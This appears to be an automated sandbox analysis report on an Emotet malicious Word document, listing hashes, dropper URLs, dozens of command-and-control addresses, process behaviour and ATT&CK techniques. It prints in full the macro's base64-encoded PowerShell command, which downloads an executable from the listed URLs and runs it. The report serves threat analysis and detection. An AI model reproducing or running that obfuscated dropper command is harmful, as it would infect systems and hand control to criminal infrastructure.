emotet | 6011d30bda10ff7a9f9e5cc83968a34178af8cb958e7eb7fe50f5d735c06c590

General

Target
X_AYF2XVRCX.doc
Size 169KB
Sample200807-2e991vbqva
SHA256 6011d30bda10ff7a9f9e5cc83968a34178af8cb958e7eb7fe50f5d735c06c590
MD5 b664ddc1b2b680a009197b51c1b3182c
SHA1 8a9075fedee5d863a4e23f6f227277bc6c54b795
SHA512 187a9983ae11dbcbc97a82a99e16a38b75e7ff9114e91583692cb2366db06f867dcc7439a3b2482707e7cd4fe9f9841cce0fe3b5992d2046fbb43361d356a74a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://mersia.com/_data/temp/ogf_h_u7owu/
exe.dropper
http://microcomm-group.com/aspnet_client/open-resource/749h0_a_bgapak3l/
exe.dropper
https://onefarmdesign.com/cgi-bin/g_r_f/
exe.dropper
http://missetiquette.com/img/57ry_v_f04/
exe.dropper
http://tedde.nl/photosentinel/r_mcjd_p0vrxje/

Extracted

Family

emotet

C2

47.146.32.175:80
212.51.142.238:8080
200.55.243.138:8080
114.146.222.200:80
153.126.210.205:7080
121.124.124.40:7080
222.214.218.37:4143
67.241.24.163:8080
180.92.239.110:8080
203.153.216.189:7080
119.198.40.179:80
70.167.215.250:8080
168.235.67.138:7080
190.55.181.54:443
139.59.60.244:8080
189.212.199.126:443
78.24.219.147:8080
61.19.246.238:443
137.59.187.107:8080
87.106.139.101:8080
47.146.117.214:80
201.173.217.124:443
91.231.166.124:8080
181.230.116.163:80
103.86.49.11:8080
47.153.182.47:80
72.12.127.184:443
76.27.179.47:80
83.110.223.58:443
91.211.88.52:7080
204.197.146.48:80
162.241.92.219:8080
79.98.24.39:8080
65.111.120.223:80
37.139.21.175:8080
139.130.242.43:80
157.147.76.151:80
104.131.44.150:8080
104.131.11.150:443
183.101.175.193:80
113.160.130.116:8443
41.60.200.34:80
109.74.5.95:8080
190.160.53.126:80
87.106.136.232:8080
46.105.131.79:8080
157.245.99.39:8080
62.138.26.28:8080
185.94.252.104:443
165.165.171.160:8080
75.139.38.211:80
116.203.32.252:8080
142.105.151.124:443
50.116.86.205:8080
176.111.60.55:8080
93.51.50.171:8080
37.187.72.193:8080
81.2.235.111:8080
5.39.91.110:7080
124.45.106.173:443
24.234.133.205:80
209.141.54.221:8080
110.145.77.103:80
5.196.74.210:8080
200.41.121.90:80
62.75.141.82:80
95.179.229.244:8080
24.179.13.119:80
74.208.45.104:8080
104.236.246.93:8080
47.144.21.12:443
24.43.99.75:80
95.213.236.64:8080
169.239.182.217:8080
209.182.216.177:443
152.168.248.128:443

rsa_pubkey.plain

Signatures

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\APHostClient\ocsetapi.exe	322.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1768	632	powersheLL.exe	66

Blacklisted process makes network request 1 IoCs

flow	pid	Process
18	1768	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1768	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1768	powersheLL.exe
1768	powersheLL.exe
1768	powersheLL.exe
2616	ocsetapi.exe
2616	ocsetapi.exe
2616	ocsetapi.exe
2616	ocsetapi.exe

Executes dropped EXE 2 IoCs

pid	Process
3556	322.exe
2616	ocsetapi.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3556 wrote to memory of 2616	3556	322.exe	75
PID 3556 wrote to memory of 2616	3556	322.exe	75
PID 3556 wrote to memory of 2616	3556	322.exe	75

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3556-13-0x0000000000AE0000-0x0000000000AEC000-memory.dmp	emotet
behavioral2/memory/3556-13-0x0000000000AE0000-0x0000000000AEC000-memory.dmp	emotet
behavioral2/memory/2616-16-0x0000000000950000-0x000000000095C000-memory.dmp	emotet
behavioral2/memory/2616-16-0x0000000000950000-0x000000000095C000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3556	322.exe
3556	322.exe
2616	ocsetapi.exe
2616	ocsetapi.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\X_AYF2XVRCX.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
PID:3740

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUAEgAVgBNAEYAegBwAGcAPQAnAEgASABVAFEAVgB3AGsAagAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBVAHIAYABJAFQAYAB5AHAAcgBPAHQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWQBMAFYAWABSAGYAZgB5ACAAPQAgACcAMwAyADIAJwA7ACQARgBRAFoATABTAG0AbgB0AD0AJwBBAEIAVABUAEkAYwB6AGsAJwA7ACQASQBBAEIARABNAGwAcgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABZAEwAVgBYAFIAZgBmAHkAKwAnAC4AZQB4AGUAJwA7ACQAVwBVAEMATgBGAGkAawByAD0AJwBJAFAAWgBOAEkAeABhAHQAJwA7ACQARwBCAE4ATwBPAHgAcwBpAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAdAAuAHcARQBiAGMAbABJAGUAbgBUADsAJABJAEMASwBEAFMAagBtAGYAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAGUAcgBzAGkAYQAuAGMAbwBtAC8AXwBkAGEAdABhAC8AdABlAG0AcAAvAG8AZwBmAF8AaABfAHUANwBvAHcAdQAvACoAaAB0AHQAcAA6AC8ALwBtAGkAYwByAG8AYwBvAG0AbQAtAGcAcgBvAHUAcAAuAGMAbwBtAC8AYQBzAHAAbgBlAHQAXwBjAGwAaQBlAG4AdAAvAG8AcABlAG4ALQByAGUAcwBvAHUAcgBjAGUALwA3ADQAOQBoADAAXwBhAF8AYgBnAGEAcABhAGsAMwBsAC8AKgBoAHQAdABwAHMAOgAvAC8AbwBuAGUAZgBhAHIAbQBkAGUAcwBpAGcAbgAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGcAXwByAF8AZgAvACoAaAB0AHQAcAA6AC8ALwBtAGkAcwBzAGUAdABpAHEAdQBlAHQAdABlAC4AYwBvAG0ALwBpAG0AZwAvADUANwByAHkAXwB2AF8AZgAwADQALwAqAGgAdAB0AHAAOgAvAC8AdABlAGQAZABlAC4AbgBsAC8AcABoAG8AdABvAHMAZQBuAHQAaQBuAGUAbAAvAHIAXwBtAGMAagBkAF8AcAAwAHYAcgB4AGoAZQAvACcALgAiAFMAcABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQBWAEQAWgBSAGYAYgBmAD0AJwBOAE8ATQBPAFcAbABzAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAUwBZAFoASAB4AHMAcgAgAGkAbgAgACQASQBDAEsARABTAGoAbQBmACkAewB0AHIAeQB7ACQARwBCAE4ATwBPAHgAcwBpAC4AIgBkAE8AdwBOAGwAYABPAGEAYABkAEYAaQBsAEUAIgAoACQAWQBTAFkAWgBIAHgAcwByACwAIAAkAEkAQQBCAEQATQBsAHIAegApADsAJABDAFIATABRAEEAYQBrAGYAPQAnAFAATgBUAFYAUwBwAHgAZQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEkAQQBCAEQATQBsAHIAegApAC4AIgBsAGUATgBHAGAAVABoACIAIAAtAGcAZQAgADMAMQAyADEAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAGAARQBhAFQAZQAiACgAJABJAEEAQgBEAE0AbAByAHoAKQA7ACQAWABEAFcATQBaAGcAdwBkAD0AJwBVAFQATgBVAFYAawB4AGIAJwA7AGIAcgBlAGEAawA7ACQARABWAEMATwBNAGMAbQBzAD0AJwBTAFYAVwBRAFMAeABlAHAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBGAEwASgBFAHcAdQBsAD0AJwBCAFMAWABMAFYAbwBlAGEAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1768

C:\Users\Admin\322.exe
C:\Users\Admin\322.exe
1⤵
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:3556
- C:\Windows\SysWOW64\APHostClient\ocsetapi.exe
  "C:\Windows\SysWOW64\APHostClient\ocsetapi.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1768-8-0x00007FFA64450000-0x00007FFA64E3C000-memory.dmp

Download

memory/1768-9-0x0000011E72FF0000-0x0000011E72FF1000-memory.dmp

Download

memory/1768-10-0x0000011E73300000-0x0000011E73301000-memory.dmp

Download

memory/2616-16-0x0000000000950000-0x000000000095C000-memory.dmp

Download

memory/3556-13-0x0000000000AE0000-0x0000000000AEC000-memory.dmp

Download

memory/3740-0-0x00007FFA6BCC0000-0x00007FFA6C386000-memory.dmp

Download

memory/3740-4-0x000001B115942000-0x000001B1159C5000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads